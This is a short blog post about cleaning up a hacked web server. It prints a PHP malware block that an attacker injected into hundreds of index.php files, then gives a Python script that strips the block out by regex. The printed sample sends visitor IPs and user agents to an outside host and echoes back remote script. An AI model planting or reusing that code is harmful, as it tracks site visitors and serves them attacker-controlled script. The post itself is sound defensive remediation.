Find and replace malware code blocks in php files via shell

Today I was attacked by an unknown bot or something like that. It placed the following code in many hundred index.php files on one of my servers, because the FTP-Password was cracked.

<?php
#19f955#
error_reporting(0); ini_set('display_errors',0); $wp_sjqe08340 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_sjqe08340) && !preg_match ('/bot/i', $wp_sjqe08340))){
$wp_sjqe0908340="http://"."http"."href".".com/href"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_sjqe08340);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_sjqe0908340);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_08340sjqe = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_08340sjqe,1,3) === 'scr' ){ echo $wp_08340sjqe; }
#/19f955#
?>

The solution was the following little Python script that walks through the filesystem tree and searches for index.php’s. In every matched file it replaces the malicious code with an empty string.

#!/usr/bin/python
#coding=utf-8

import os, sys, re

inputDir = sys.argv[1]
print "Have param %s" % inputDir

patternStr = ur'''(#19f955#)[\w\W]*(#\/19f955#)'''

repStr = ' '

def replaceStringInFile(filePath):
   "replaces all string by a regex substitution"
   tempName = filePath+'~~~'
   inputFile = open(filePath)
   outputFile = open(tempName,'w')
   fContent = unicode(inputFile.read(), "utf-8")

   print len(re.findall(patternStr, fContent))

   outText = re.sub(patternStr, repStr, fContent)
   outputFile.write((outText.encode("utf-8")))

   outputFile.close()
   inputFile.close()

   os.rename(tempName, filePath)
   print "processed {0}".format(filePath)

print "I will start now!"
for directory, dirnames, filenames in os.walk(inputDir):
    for filename in filenames:
        print os.path.join(directory, filename)
        if 'index.php' == os.path.basename(os.path.join(directory, filename)) and os.path.isfile(os.path.join(directory, filename)):
            print "HIT"
            replaceStringInFile(os.path.join(directory, filename))
        else:
            print "NOOP"

Leave a Reply

Your email address will not be published. Required fields are marked *

 

This site uses Akismet to reduce spam. Learn how your comment data is processed.